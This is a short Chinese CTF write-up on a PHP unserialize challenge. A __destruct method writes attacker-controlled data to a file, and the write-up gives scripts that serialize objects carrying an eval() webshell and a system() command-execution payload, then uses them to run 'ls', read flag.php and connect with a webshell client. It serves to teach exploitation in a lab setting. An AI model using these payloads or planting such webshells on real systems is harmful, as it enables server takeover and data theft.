拿到题目就是一段代码
<?php
error_reporting(0);
if(empty($_GET['code'])) die(show_source(__FILE__));
class example
{
var $var='123';
function __destruct(){//当类消失时
$fb = fopen('./php.php','w');
fwrite($fb, $this->var);//写到php.php这个文件中
fclose($fb);
}
}
$class = $_GET['code'];
$class_unser = unserialize($class);//进行反序列化
unset($class_unser);
?>
写一个php的脚本,执行得到一串序列化后字符串
<?php
class example
{
var $var='<?php @eval($_POST[pass]);?>';//一句话木马
}
$a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example
echo serialize($a);//输出序列化后的结果
?>
将这段字符串get传值给code,便能执行我们赋值给var的语句
这时候有个要注意的点:
因为浏览器自动过滤
的功能,他一般不会把php代码显示出来,所以要看源码才知道完整的字符串
传完后,访问php.php,虽然没什么东西
这时候我们打开菜刀,便可访问里面的文件
第二种方法
我们脚本给var的值换一下:
<?php
class example
{
var $var='<?php system($_GET[a]);';
}
$a = new example();
echo serialize($a);
?>
system函数的作用就是执行外部程序,并输出显示
在这里它便是执行我们get传值给a的语句
步骤还和上面一样,只是这里我们先让a=ls
ls是一个命令,可以把当前目录下所有文件名输出来
这时候我们当然是访问flag.php了
这时首页面没有东西,还是因为过滤,在源码里找到了flag
总结:需要我们代码审计后写一个小的脚本,同时要注意浏览器的过滤
lv99